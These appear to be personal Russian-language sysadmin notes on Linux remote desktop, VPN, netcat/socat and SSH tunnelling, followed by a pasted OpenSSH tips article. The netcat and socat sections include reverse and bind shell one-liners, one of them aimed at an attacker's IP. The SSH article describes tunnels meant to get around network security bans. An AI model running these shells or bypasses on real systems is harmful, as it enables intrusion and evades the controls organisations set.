VPS на Linux с графическим интерфейсом: запускаем сервер RDP на Ubuntu 18.04
Удаленный доступ. Обобщил себе на память.
Ошибка cannot open display в Linux
Docker: запуск графических приложений в контейнерах

FreeBSD 12 xrdp

FreeBSD + xRDP + WINE или Терминальный сервер для 1С в AD
xrdp_keyboard.ini

В пользовательской директории создаем файл .startwm.sh с таким содержимым:

Добавляем в /etc/rc.conf

xrdp_enable="YES"
xrdp_sesman_enable="YES"

И запускаем, service xrdp allstart, которая запустит ещё и сервис xrdp_sessman.

freerdp-shadow

Как установить и запустить RDP сервер в Linux
sudo apt install freerdp2-shadow-x11 winpr-utils

Чтобы запустить RDP сервер вовсе без аутентификации используйте опцию -auth:
freerdp-shadow-cli -auth

Если аутентификация включена, PAM используется с подсистемой X11
чтобы запустить freerdp-shadow с поддержкой NLA необходимо создать файл, в котором будет строка вида:
ПОЛЬЗОВАТЕЛЬ:::ХЕШ:::
Имя пользователя Linux нам известно, для вычисления хеша нужно выполнить команду вида:
winpr-hash -u ПОЛЬЗОВАТЕЛЬ -p ПАРОЛЬ

К примеру, имя пользователя mial, а пароль цифра 2 тогда команда следующая:
winpr-hash -u mial -p 2

Получен хеш:
8f33e2ebe5960b8738d98a80363786b0

Создаём текстовый файл SAM и в него записываем строку
mial:::8f33e2ebe5960b8738d98a80363786b0:::

Теперь запускаем freerdp-shadow-x11 с двумя опциями:
/sam-file:ФАЙЛ — указывает на расположение NTLM SAM файла для NLA аутентификации
/sec:nla — принудительное включение аутентификации по протоколу NLA

Итак, моя команда следующая:
freerdp-shadow-cli /sam-file:SAM /sec:nla

Для того, чтобы делиться не всем экраном, а только его частью, используйте опцию /rect:x,y,w,h. Где:

x,y — координаты верхнего левого угла прямоугольника
w — ширина прямоугольника
h — высота прямоугольника

К примеру, чтобы делиться частью экрана 500×500 пикселей с координатами 200,300:
freerdp-shadow-cli /sam-file:SAM /sec:nla /rect:200,300,500,500

Ошибка freerdp-shadow «client authentication failure: -1»
То необходимо создать файл SAM и запустить freerdp-shadow с опциями /sam-file:SAM /sec:nla как это показано выше.

Xnest Xephyr

https://wiki.archlinux.org/index.php/Xorg
https://www.sysadminwiki.ru/wiki/Удалённый_рабочий_стол_Linux
https://xneur.ru/settings
Удаленный доступ по XDMCP (удаленное подключение к рабочему столу) Ubuntu/Debian
Х из init 3
На третьем уровне инициализации/выполнения (init 3) выполнить:
X -query 10.0.0.111

Чтобы запустить вложенный сеанс другой среды рабочего стола:
$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost – это XDMCP сервер, 800x600 – требуемое разрешение, а :1 – номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable &
DISPLAY=:2 fvwm1 &
Xephyr -terminate -query 192.168.1.116 :1 -screen 1280x1024
ssh andy@host.com -XYC “Xephyr :1 -query localhost –screen 800x600”
Xephyr :1 -query 192.168.0.111 -screen 800x600
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2

XDMCP

Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.
Настройка XDMCP, удаленного подключения к рабочему столу Linux

nano /etc/lightdm/lightdm.conf
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true

Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию
[XDMCPServer]
enabled=true

service lightdm restart
netstat –na | more

XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP

Xpra

https://xpra.org/index.html
https://github.com/Xpra-org/xpra
https://wiki.archlinux.org/title/Xpra
https://www.altlinux.org/Xpra
xpra - утилита удаленного запуска графических приложений
https://winswitch.org/downloads/
Учимся переносить запущенные программы с одного компьютера на другой

VNC

TigerVNC

https://docs.slackware.com/howtos:window_managers:vnc
Как настроить и использовать сервер TigerVNC в Linux
sudo apt install tigervnc-standalone-server tigervnc-viewer tigervnc-xorg-extension
vim ~/.vnc/xstartup

vncpasswd # создать пароль для TigerVNC сервера
запуск
vncserver :1 # запустить на 1 виртуальном столе
Пароль для аутентификации на сервере будет взят из файла $HOME/.vnc/passwd

vncserver -list # список запущенных рабочих столов с VNC
vncserver -kill :1 # убить сессию
vncconfig -display :1 -list # список опций VNC
ss -tulp # посмотреть порт запуска
vncviewer -listen 5901 # подключиться
gvncviewer ip_address:1 # адрес:дисплей

x11vns

рецепт 1

Подключаемся к удалённому рабочему столу по VNC на этапе экрана авторизации (GDM, KDM, Lightdm, MDM)

установим x11vnc:
sudo apt-get install x11vnc

Создадим файл с паролем для авторизации:
sudo x11vnc -storepasswd /etc/x11vnc.pass

vnc сервера используют 5900 порт
iptables -A INPUT -p tcp -m tcp --dport 5900 -j ACCEPT
ufw allow 5900

Запустим x11vnc:
sudo x11vnc -display :0 -rfbauth /etc/x11vnc.pass -rfbport 5900 -o /var/log/x11vnc.log

проверим:
vncviewer localhost

service x11vnc start

Быстрая настройка x11vnc
Устанавливаем x11vnc
sudo apt-get install x11vnc

Генерируем пароль для доступа:
x11vnc -storepasswd

При использовании LightDM
После установки x11vnc создайте файл /etc/init/x11vnc.conf, в который добавьте следующий код:

если не работает то
https://qastack.ru/ubuntu/229989/how-to-setup-x11vnc-to-access-with-graphical-login-screen

работающие скрипты:
скрипт гасится сам

нужно гасить pkill x11vnc

запускать как службу
mcedit /lib/systemd/system/x11vnc.service

systemctl daemon-reload
service x11vnc start
service x11vnc status
service x11vnc enable

рецепт 2 попроще, для ubuntu

https://www.crazy-logic.co.uk/projects/computing/how-to-install-x11vnc-vnc-server-as-a-service-on-ubuntu-20-04-for-remote-access-or-screen-sharing

sudo apt-get install lightdm
sudo reboot
sudo apt-get install x11vnc

vi /lib/systemd/system/x11vnc.service

systemctl daemon-reload
systemctl enable x11vnc.service
systemctl start x11vnc.service
systemctl status x11vnc.service

рецепт 3, без systemd

x11vnc -storepasswd "пароль" /etc/x11vnc.pass
sudo chmod ugo+r /etc/x11vnc.pass
sudo -u $USER x11vnc -noxdamage -shared -dontdisconnect -many -noxfixes -rfbauth /etc/x11vnc.pass -auth guess

Как настроить VNC сервер x11vnc

в NetBDS, OpenBSD и FreeBSD:
pkgin install x11vnc
startx -display :0 &
x11vnc -display :0

ошибки

когда light-locker блокирует экран, то видно чёрное окно и не войти
https://bugs.launchpad.net/ubuntu/+source/light-locker/+bug/1287171
https://www.linux.org.ru/forum/admin/12755272
https://www.linux.org.ru/forum/general/13664036/page1#comments
https://github.com/pekmop1024/x11vnc-light-locker/blob/master/usr/local/bin/x11vnc-wrapper

вместо light-locker установить xscreensaver

VNC в веб-браузере

Как получить доступ к удаленному рабочему столу VNC в веб-браузере
качается https://github.com/novnc/noVNC/archive/refs/tags/v1.2.0.tar.gz
в нём есть launch.sh
распаковывается tar -xavf v1.2.0.tar.gz
качается https://github.com/novnc/websockify/archive/refs/tags/v0.11.0.tar.gz в распакованную $HOME/noVNC-1.2.0/utils
распаковывается tar -xavf v1.2.0.tar.gz
переименовывается
mv websockify-0.11.0/ websockify
затем запускается
./utils/launch.sh --vnc 0.0.0.0:5900
распаковать можно куда угодно, например в /opt
открыть в браузере
http://ip_адрес_сервера:6080/vnc.html?host=dit-st-unstable&port=6080
нажать на шестерёнку "Настройки", "Дополнительно", "WebSocket", "Сервер:" - прописать ip_адрес_сервера

VPN

ssh VPN

VPN через SSH
https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle

https://github.com/Nyr/openvpn-install
https://github.com/Nyr/wireguard-install
Свой VPN сервер на Wireguard с помощью Docker

OpenVPN

Бесплатный VPN сервер, клиент, и тд
vpn pptp openvpn centos7
настройка клиента openvpn
Генерация ключей OpenVPN

sudo service openvpn start
sudo service openvpn status
sudo service openvpn stop
sudo service openvpn status
ps aux | grep -v grep | grep openvpn

https://www.oracle.com/cloud/free/

Работа с сетевыми дисками

Работа с NFS
1. установите nfs-common
sudo apt install nfs-common
2. сделайте точку монтирования
mkdir -p /media/nfs-server
3.
подключите общий ресурс сервера к каталогу mount SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/ media/nfs-server
mount :/volume1/music /media/nfs-server
4. Просмотрите смонтированный каталог.
ls /media/nfs-server

Если вы хотите сделать этот ресурс постоянно смонтированным, вы можете добавить его в свой /etc/fstab, например
SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/media/nfs-server nfs rw 0 0

проверка открытых портов

netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80

netcat передача данных, тестирование соединений

Как использовать Netcat для тестирования соединений TCP и UDP
Как пользоваться netcat (nc), ncat
Обратная инженерия сетевого трафика
Полезные трюки при работе с netcat

Чат между узлами
На первом узле (192.168.1.100):
nc -lp 9000
На втором узле:
nc 192.168.1.100 9000

Реверс-шелл
nc -e /bin/bash -lp 4444
соединиться с удаленного узла:
nc 192.168.1.100 4444

веб-сервер для отображения html странички.
while true; do nc -lp 8888 < index.html; done

UDP передать данные
cat ФАЙЛ | ncat -u -C IP-АДРЕС ПОРТ
получить эти данные
ncat -u -l IP-АДРЕС ПОРТ

TCP передать данные
nc хост порт < filename
{ cat ФАЙЛ1 ФАЙЛ2 ФАЙЛ3 ФАЙЛ4; cat;} | ncat -C IP-АДРЕС ПОРТ
{ cat ФАЙЛ{1..4}; cat;} | ncat -C IP-АДРЕС ПОРТ
приём
nc -l порт > filename

копирование зашифрованного диска
https://habr.com/ru/articles/800455/
# Получатель
nc -l 4444 | pbzip2 -d | dd of=/dev/nvme0n1 obs=1M
# Отправитель
pv /dev/nvme0n1 | pbzip2 -9 | nc DESTIP 4444

Как сделать прокси на виртуальном хостинге
локальном компьютере, в одной консоли запускаем прокси:
ncat -vvv -l 34567 --proxy-type http
и в другой консоли запрос через этот прокси:
curl -s --proxy localhost:34567 'https://hackware.ru'

Socat

Сетевой pivoting: понятие, примеры, техники, инструменты

Шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Подключение к слушателю:
socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Обратный шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Подключение к машине атакующего
socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Размер терминала
По умолчанию размер терминала довольно мал, как вы можете заметить при запуске команды top или редактировании файлов в текстовом редакторе. Вы можете легко изменить это, используя команду stty -a, чтобы получить размер вашего обычного терминала:
stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Примените нужный размер к вашему терминалу socat:
stty rows 57 cols 211

ссылки

разница между DE и WM, а также работа в голых иксах
скриншоты в иксах и консоли, разрешение экрана в tty
Установка xrdp на CentOS 7

https://debian-handbook.info/browse/ru-RU/stable/sect.remote-login.html
Настройка сервера VNC и RDP совместно с LightDM
VNC в Linux: настройка сервера и клиента
Всё о RDP: от настройки до взлома
sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров
https://wiki.x2go.org/doku.php
Организуем себе безопасное рабочее место на удаленной виртуалке при помощи x2go
Настройка Ubuntu Linux в качестве терминального сервера x2go
LTSP: Терминальный сервер на Linux
LTSP: Терминальный сервер на Linux
делаем vim удобным
рабочий стол в консоли
изменение времени файлов, удаление истории посещения и команд в linux

abstract: В статье описаны продвинутые функций OpenSSH, которые позволяют сильно упростить жизнь системным администраторам и программистам, которые не боятся шелла. В отличие от большинства руководств, которые кроме ключей и -L/D/R опций ничего не описывают, я попытался собрать все интересные фичи и удобства, которые с собой несёт ssh.

Предупреждение: пост очень объёмный, но для удобства использования я решил не резать его на части.

Оглавление:

управление ключами

копирование файлов через ssh

Проброс потоков ввода/вывода

Монтирование удалённой FS через ssh

Удалённое исполнение кода

Алиасы и опции для подключений в .ssh/config

Опции по-умолчанию

Проброс X-сервера

ssh в качестве socks-proxy

Проброс портов — прямой и обратный

Реверс-сокс-прокси

туннелирование L2/L3 трафика

Проброс агента авторизации

Туннелирование ssh через ssh сквозь недоверенный сервер (с большой вероятностью вы этого не знаете)

ssh: Вытаскиваем для себя чужой порт из-за NAT

Управление ключами

Теория в нескольких словах: ssh может авторизоваться не по паролю, а по ключу. Ключ состоит из открытой и закрытой части. Открытая кладётся в домашний каталог пользователя, «которым» заходят на сервер, закрытая — в домашний каталог пользователя, который идёт на удалённый сервер. Половинки сравниваются (я утрирую) и если всё ок — пускают. Важно: авторизуется не только клиент на сервере, но и сервер по отношению к клиенту (то есть у сервера есть свой собственный ключ). Главной особенностью ключа по сравнению с паролем является то, что его нельзя «украсть», взломав сервер — ключ не передаётся с клиента на сервер, а во время авторизации клиент доказывает серверу, что владеет ключом (та самая криптографическая магия).

Генерация ключа

Свой ключ можно сгенерировать с помощью команды ssh-keygen. Если не задать параметры, то он сохранит всё так, как надо.

Ключ можно закрыть паролем. Этот пароль (в обычных графических интерфейсах) спрашивается один раз и сохраняется некоторое время. Если пароль указать пустым, он спрашиваться при использовании не будет. Восстановить забытый пароль невозможно.

Сменить пароль на ключ можно с помощью команды ssh-keygen -p.

Структура ключа

(если на вопрос про расположение ответили по-умолчанию).

~/.ssh/id_rsa.pub — открытый ключ. Его копируют на сервера, куда нужно получить доступ.

~/.ssh/id_rsa — закрытый ключ. Его нельзя никому показывать. Если вы в письмо/чат скопипастите его вместо pub, то нужно генерировать новый ключ. (Я не шучу, примерно 10% людей, которых просишь дать ssh-ключ постят id_rsa, причём из этих десяти процентов мужского пола 100%).

Копирование ключа на сервер

В каталоге пользователя, под которым вы хотите зайти, если создать файл ~/.ssh/authorized_keys и положить туда открытый ключ, то можно будет заходить без пароля. Обратите внимание, права на файл не должны давать возможность писать в этот файл посторонним пользователям, иначе ssh его не примет. В ключе последнее поле — user@machine. Оно не имеет никакого отношения к авторизации и служит только для удобства определения где чей ключ. Заметим, это поле может быть поменяно (или даже удалено) без нарушения структуры ключа.

Если вы знаете пароль пользователя, то процесс можно упростить. Команда ssh-copy-id user@server позволяет скопировать ключ не редактируя файлы вручную.

Замечание: Старые руководства по ssh упоминают про authorized_keys2. Причина: была первая версия ssh, потом стала вторая (текущая), для неё сделали свой набор конфигов, всех это очень утомило, и вторая версия уже давным давно переключилась на версии без всяких «2». То есть всегда authorized_keys и не думать о разных версиях.

Если у вас ssh на нестандартном порту, то ssh-copy-id требует особого ухищрения при работе: ssh-copy-id '-p 443 user@server' (внимание на кавычки).

Ключ сервера

Первый раз, когда вы заходите на сервер, ssh вас спрашивает, доверяете ли вы ключу. Если отвечаете нет, соединение закрывается. Если да — ключ сохраняется в файл ~/.ssh/known_hosts. Узнать, где какой ключ нельзя (ибо несекьюрно).

Если ключ сервера поменялся (например, сервер переустановили), ssh вопит от подделке ключа. Обратите внимание, если сервер не трогали, а ssh вопит, значит вы не на тот сервер ломитесь (например, в сети появился ещё один компьютер с тем же IP, особо этим страдают всякие локальные сети с 192.168.1.1, которых в мире несколько миллионов). Сценарий «злобной man in the middle атаки» маловероятен, чаще просто ошибка с IP, хотя если «всё хорошо», а ключ поменялся — это повод поднять уровень паранойи на пару уровней (а если у вас авторизация по ключу, а сервер вдруг запросил пароль — то паранойю можно включать на 100% и пароль не вводить).

Удалить известный ключ сервера можно командой ssh-keygen -R server. При этом нужно удалить ещё и ключ IP (они хранятся раздельно): ssh-keygen -R 127.0.0.1.

Ключ сервера хранится в /etc/ssh/ssh_host_rsa_key и /etc/ssh/ssh_host_rsa_key.pub. Их можно:

а) скопировать со старого сервера на новый.

б) сгенерировать с помощью ssh-keygen. Пароля при этом задавать не надо (т.е. пустой). Ключ с паролем ssh-сервер использовать не сможет.

Заметим, если вы сервера клонируете (например, в виртуалках), то ssh-ключи сервера нужно обязательно перегенерировать.

Старые ключи из know_hosts при этом лучше убрать, иначе ssh будет ругаться на duplicate key.

Копирование файлов

Передача файлов на сервер иногда может утомлять. Помимо возни с sftp и прочими странными вещами, ssh предоставляет нам команду scp, которая осуществляет копирование файла через ssh-сессию.

scp path/myfile user@8.8.8.8:/full/path/to/new/location/

Обратно тоже можно:

scp user@8.8.8.8:/full/path/to/file /path/to/put/here

Fish warning: Не смотря на то, что mc умеет делать соединение по ssh, копировать большие файлы будет очень мучительно, т.к. fish (модуль mc для работы с ssh как с виртуальной fs) работает очень медленно. 100-200кб — предел, дальше начинается испытание терпения. (Я вспомнил свою очень раннюю молодость, когда не зная про scp, я копировал ~5Гб через fish в mc, заняло это чуть больше 12 часов на FastEthernet).

Возможность копировать здорово. Но хочется так, чтобы «сохранить как» — и сразу на сервер. И чтобы в графическом режиме копировать не из специальной программы, а из любой, привычной.

Так тоже можно:

sshfs

Теория: модуль fuse позволяет «экспортировать» запросы к файловой системе из ядра обратно в userspace к соответствующей программе. Это позволяет легко реализовывать «псевдофайловые системы». Например, мы можем предоставить доступ к удалённой файловой системе через ssh так, что все локальные приложения (за малым исключением) не будут ничего подозревать.

Собственно, исключение: O_DIRECT не поддерживается, увы (это проблема не sshfs, это проблема fuse вообще).

Использование: установить пакет sshfs (сам притащит за собой fuse).

Собственно, пример моего скрипта, который монтирует desunote.ru (размещающийся у меня на домашнем комьютере — с него в этой статье показываются картинки) на мой ноут:

#!/bin/bash
sshfs desunote.ru:/var/www/desunote.ru/ /media/desunote.ru -o reconnect

Делаем файл +x, вызываем, идём в любое приложение, говорим сохранить и видим:

Параметры sshfs, которые могут оказаться важными: -o reconnect (говорит пытаться пересоединиться вместо ошибок).

Если вы много работаете с данными от рута, то можно (нужно) сделать idmap:

-o idmap=user. Работает она следующим образом: если мы коннектимся как пользователь pupkin@server, а локально работаем как пользователь vasiliy, то мы говорим «считать, что файлы pupkin, это файлы vasiliy». ну или «root», если мы коннектимся как root.

В моём случае idmap не нужен, так как имена пользователей (локальное и удалённое) совпадают.

Заметим, комфортно работать получается только если у нас есть ssh-ключик (см. начало статьи), если нет — авторизация по паролю выбешивает на 2-3 подключение.

Отключить обратно можно командой fusermount -u /path, однако, если соединение залипло (например, нет сети), то можно/нужно делать это из-под рута: sudo umount -f /path.

Удалённое исполнение кода

ssh может выполнить команду на удалённом сервере и тут же закрыть соединение. Простейший пример:

ssh user@server ls /etc/

Выведет нам содержимое /etc/ на server, при этом у нас будет локальная командная строка.

Некоторые приложения хотят иметь управляющий терминал. Их следует запускать с опцией -t:

ssh user@server -t remove_command

Кстати, мы можем сделать что-то такого вида:

ssh user@server cat /some/file|awk '{print $2}' |local_app

Это нас приводит следующей фиче:

Проброс stdin/out

Допустим, мы хотим сделать запрос к программе удалённо, а потом её вывод поместить в локальный файл

ssh user@8.8.8.8 command >my_file

Допустим, мы хотим локальный вывод положить удалённо

mycommand |scp — user@8.8.8.8:/path/remote_file

Усложним пример — мы можем прокидывать файлы с сервера на сервер: Делаем цепочку, чтобы положить stdin на 10.1.1.2, который нам не доступен снаружи:

mycommand | ssh user@8.8.8.8 «scp — user@10.1.1.2:/path/to/file»

Есть и вот такой головоломный приём использования pipe'а (любезно подсказали в комментариях в жж):

tar -c * | ssh user@server "cd && tar -x"

Tar запаковывает файлы по маске локально, пишет их в stdout, откуда их читает ssh, передаёт в stdin на удалённом сервере, где их cd игнорирует (не читает stdin), а tar — читает и распаковывает. Так сказать, scp для бедных.

Алиасы

Скажу честно, до последнего времени не знал и не использовал. Оказались очень удобными.

В более-менее крупной компании часто оказывается, что имена серверов выглядят так: spb-MX-i3.extrt.int.company.net. И пользователь там не равен локальному. То есть логиниться надо так: ssh ivanov_i@spb-MX-i3.extrt.int.company.net. Каждый раз печатать — туннельных синдромов не напасёшься. В малых компаниях проблема обратная — никто не думает о DNS, и обращение на сервер выглядит так: ssh root@192.168.1.4. Короче, но всё равно напрягает. Ещё большая драма, если у нас есть нестандартный порт, и, например, первая версия ssh (привет цискам). Тогда всё выглядит так: ssh -1 -p 334 vv_pupkin@spb-MX-i4.extrt.int.company.net. Удавиться. Про драму с scp даже рассказывать не хочется.

Можно прописать общесистемные alias'ы на IP (/etc/hosts), но это кривоватый выход (и пользователя и опции всё равно печатать). Есть путь короче.

Файл ~/.ssh/config позволяет задать параметры подключения, в том числе специальные для серверов, что самое важное, для каждого сервера своё. Вот пример конфига:

Host ric
        Hostname ооо-рога-и-копыта.рф
        User Администратор
        ForwardX11 yes
        Compression yes
Host home
        Hostname myhome.dyndns.org
        User vasya
        PasswordAuthentication no

Все доступные для использования опции можно увидеть в man ssh_config (не путать с sshd_config).

Опции по умолчанию

По подсказке UUSER: вы можете указать настройки соединения по умолчанию с помощью конструкции Host *, т.е., например:

Host *
User root
Compression yes

То же самое можно сделать и в /etc/ssh/ssh_config (не путать с /etc/ssh/sshd_config), но это требует прав рута и распространяется на всех пользователей.

Проброс X-сервера

Собственно, немножко я проспойлерил эту часть в примере конфига выше. ForwardX11 — это как раз оно.

Теория: Графические приложения в юникс обычно используют X-сервер (wayland в пути, но всё ещё не готов). Это означает, что приложение запускается и подключается к X-серверу для рисования. Иными словами, если у вас есть голый сервер без гуя и есть локальный x-сервер (в котором вы работаете), то вы можете дать возможность приложениям с сервера рисовать у вас на рабочем столе. Обычно подключение к удалённом X-серверу — не самая безопасная и тривиальная вещь. SSH позволяет упростить этот процесс и сделать его совсем безопасным. А возможность жать трафик позволяет ещё и обойтись меньшим трафиком (т.е. уменьшить утилизацию канала, то есть уменьшить ping (точнее, latency), то есть уменьшить лаги).

Ключики: -X — проброс X-сервера. -Y проброс авторизации.

Достаточно просто запомнить комбинацию ssh -XYC user@SERVER.

В примере выше (названия компании вымышленные) я подключаюсь к серверу ооо-рога-и-копыта.рф не просто так, а с целью получить доступ к windows-серверу. Безопасность microsoft при работе в сети мы все хорошо знаем, так что выставлять наружу голый RDP неуютно. Вместо этого мы подключаемся к серверу по ssh, а дальше запускаем там команду rdesktop:

ssh ric

rdesktop -k en-us 192.168.1.1 -g 1900x1200

и чудо, окошко логина в windows на нашем рабочем столе. Заметим, тщательно зашифрованное и неотличимое от обычного ssh-трафика.

Socks-proxy

Когда я оказываюсь в очередной гостинице (кафе, конференции), то местный wifi чаще всего оказывается ужасным — закрытые порты, неизвестно какой уровень безопасности. Да и доверия к чужим точкам доступа не особо много (это не паранойя, я вполне наблюдал как уводят пароли и куки с помощью банального ноутбука, раздающего 3G всем желающим с названием близлежащей кафешки (и пишущего интересное в процессе)).

Особые проблемы доставляют закрытые порты. То джаббер прикроют, то IMAP, то ещё что-нибудь.

Обычный VPN (pptp, l2tp, openvpn) в таких ситуациях не работает — его просто не пропускают. Экспериментально известно, что 443ий порт чаще всего оставляют, причём в режиме CONNECT, то есть пропускают «как есть» (обычный http могут ещё прозрачно на сквид завернуть).

Решением служит socks-proxy режим работы ssh. Его принцип: ssh-клиент подключается к серверу и слушает локально. Получив запрос, он отправляет его (через открытое соединение) на сервер, сервер устанавливает соединение согласно запросу и все данные передаёт обратно ssh-клиенту. А тот отвечает обратившемуся. Для работы нужно сказать приложениям «использовать socks-proxy». И указать IP-адрес прокси. В случае с ssh это чаще всего localhost (так вы не отдадите свой канал чужим людям).

Подключение в режиме sock-proxy выглядит так:

ssh -D 8080 user@server

В силу того, что чужие wifi чаще всего не только фиговые, но и лагливые, то бывает неплохо включить опцию -C (сжимать трафик). Получается почти что opera turbo (только картинки не жмёт). В реальном сёрфинге по http жмёт примерно в 2-3 раза (читай — если вам выпало несчастье в 64кбит, то вы будете мегабайтные страницы открывать не по две минуты, а секунд за 40. Фигово, но всё ж лучше). Но главное: никаких украденных кук и подслушанных сессий.

Я не зря сказал про закрытые порты. 22ой порт закрывают ровно так же, как «не нужный» порт джаббера. Решение — повесить сервер на 443-й порт. Снимать с 22 не стоит, иногда бывают системы с DPI (deep packet inspection), которые ваш «псевдо-ssl» не пустят.

Вот так выглядит мой конфиг:

/etc/ssh/sshd_config:

(фрагмент)

Port 22

Port 443

А вот кусок ~/.ssh/config с ноутбука, который описывает vpn

Host vpn
    Hostname desunote.ru
    User vasya
    Compression yes
    DynamicForward 127.1:8080
    Port 443

(обратите внимание на «ленивую» форму записи localhost — 127.1, это вполне себе законный метод написать 127.0.0.1)

Проброс портов

Мы переходим к крайне сложной для понимания части функционала SSH, позволяющей осуществлять головоломные операции по туннелированию TCP «из сервера» и «на сервер».

Для понимания ситуации все примеры ниже будут ссылаться на вот эту схему:

Комментарии: Две серые сети. Первая сеть напоминает типичную офисную сеть (NAT), вторая — «гейтвей», то есть сервер с белым интерфейсом и серым, смотрящим в свою собственную приватную сеть. В дальнейших рассуждениях мы полагаем, что «наш» ноутбук — А, а «сервер» — Б.

Задача: у нас локально запущено приложение, нам нужно дать возможность другому пользователю (за пределами нашей сети) посмотреть на него.

Решение: проброс локального порта (127.0.0.1:80) на публично доступный адрес. Допустим, наш «публично доступный» Б занял 80ый порт чем-то полезным, так что пробрасывать мы будем на нестандартный порт (8080).

Итоговая конфигурация: запросы на 8.8.8.8:8080 будут попадать на localhost ноутбука А.

ssh -R 127.1:80:8.8.8.8:8080 user@8.8.8.8

Опция -R позволяет перенаправлять с удалённого (Remote) сервера порт на свой (локальный).

Важно: если мы хотим использовать адрес 8.8.8.8, то нам нужно разрешить GatewayPorts в настройках сервера Б.

Задача. На сервере «Б» слушает некий демон (допустим, sql-сервер). Наше приложение не совместимо с сервером (другая битность, ОС, злой админ, запрещающий и накладывающий лимиты и т.д.). Мы хотим локально получить доступ к удалённому localhost'у.

Итоговая конфигурация: запросы на localhost:3333 на 'A' должны обслуживаться демоном на localhost:3128 'Б'.

ssh -L 127.1:3333:127.1:3128 user@8.8.8.8

Опция -L позволяет локальные обращения (Local) направлять на удалённый сервер.

Задача: На сервере «Б» на сером интерфейсе слушает некий сервис и мы хотим дать возможность коллеге (192.168.0.3) посмотреть на это приложение.

Итоговая конфигурация: запросы на наш серый IP-адрес (192.168.0.2) попадают на серый интерфейс сервера Б.

ssh -L 192.168.0.2:8080:10.1.1.1:80 user@8.8.8.8

Вложенные туннели

Разумеется, туннели можно перенаправлять.

Усложним задачу: теперь нам хочется показать коллеге приложение, запущенное на localhost на сервере с адресом 10.1.1.2 (на 80ом порту).

Решение сложно:

ssh -L 192.168.0.2:8080:127.1:9999 user@8.8.8.8 ssh -L 127.1:9999:127.1:80 user2@10.1.1.2

Что происходит? Мы говорим ssh перенаправлять локальные запросы с нашего адреса на localhost сервера Б и сразу после подключения запустить ssh (то есть клиента ssh) на сервере Б с опцией слушать на localhost и передавать запросы на сервер 10.1.1.2 (куда клиент и должен подключиться). Порт 9999 выбран произвольно, главное, чтобы совпадал в первом вызове и во втором.

Реверс-сокс-прокси

Если предыдущий пример вам показался простым и очевидным, то попробуйте догадаться, что сделает этот пример:

ssh -D 8080 -R 127.1:8080:127.1:8080 user@8.8.8.8 ssh -R 127.1:8080:127.1:8080 user@10.1.1.2

Если вы офицер безопасности, задача которого запретить использование интернета на сервере 10.1.1.2, то можете начинать выдёргивать волосы на попе, ибо эта команда организует доступ в интернет для сервера 10.1.1.2 посредством сокс-прокси, запущенного на компьютере «А». Трафик полностью зашифрован и неотличим от любого другого трафика SSH. А исходящий трафик с компьютера с точки зрения сети «192.168.0/24» не отличим от обычного трафика компьютера А.

Туннелирование

Если к этому моменту попа отдела безопасности не сияет лысиной, а ssh всё ещё не внесён в список врагов безопасности номер один, вот вам окончательный убийца всего и вся: туннелирование IP или даже ethernet. В самых радикальных случаях это позволяет туннелировать dhcp, заниматься удалённым arp-спуфингом, делать wake up on lan и прочие безобразия второго уровня.

Подробнее описано тут: www.khanh.net/blog/archives/51-using-openSSH-as-a-layer-2-ethernet-bridge-VPN.html

(сам я увы, таким не пользовался).

Легко понять, что в таких условиях невозможно никаким DPI (deep packet inspection) отловить подобные туннели — либо ssh разрешён (читай — делай что хочешь), либо ssh запрещён (и можно смело из такой компании идиотов увольняться не ощущая ни малейшего сожаления).

Проброс авторизации

Если вы думаете, что на этом всё, то…… впрочем, в отличие от автора, у которого «снизу» ещё не написано, читатель заранее видит, что там снизу много букв и интриги не получается.

OpenSSH позволяет использовать сервера в качестве плацдарма для подключения к другим серверам, даже если эти сервера недоверенные и могут злоупотреблять чем хотят.

Для начала о простом пробросе авторизации.

Повторю картинку:

Допустим, мы хотим подключиться к серверу 10.1.1.2, который готов принять наш ключ. Но копировать его на 8.8.8.8 мы не хотим, ибо там проходной двор и половина людей имеет sudo и может шариться по чужим каталогам. Компромиссным вариантом было бы иметь «другой» ssh-ключ, который бы авторизовывал user@8.8.8.8 на 10.1.1.2, но если мы не хотим пускать кого попало с 8.8.8.8 на 10.1.1.2, то это не вариант (тем паче, что ключ могут не только поюзать, но и скопировать себе «на чёрный день»).

ssh предлагает возможность форварда ssh-агента (это такой сервис, который запрашивает пароль к ключу). Опция ssh -A пробрасывает авторизацию на удалённый сервер.

Вызов выглядит так:

ssh -A user@8.8.8.8 ssh user2@10.1.1.2

Удалённый ssh-клиент (на 8.8.8.8) может доказать 10.1.1.2, что мы это мы только если мы к этому серверу подключены и дали ssh-клиенту доступ к своему агенту авторизации (но не ключу!).

В большинстве случаев это прокатывает.

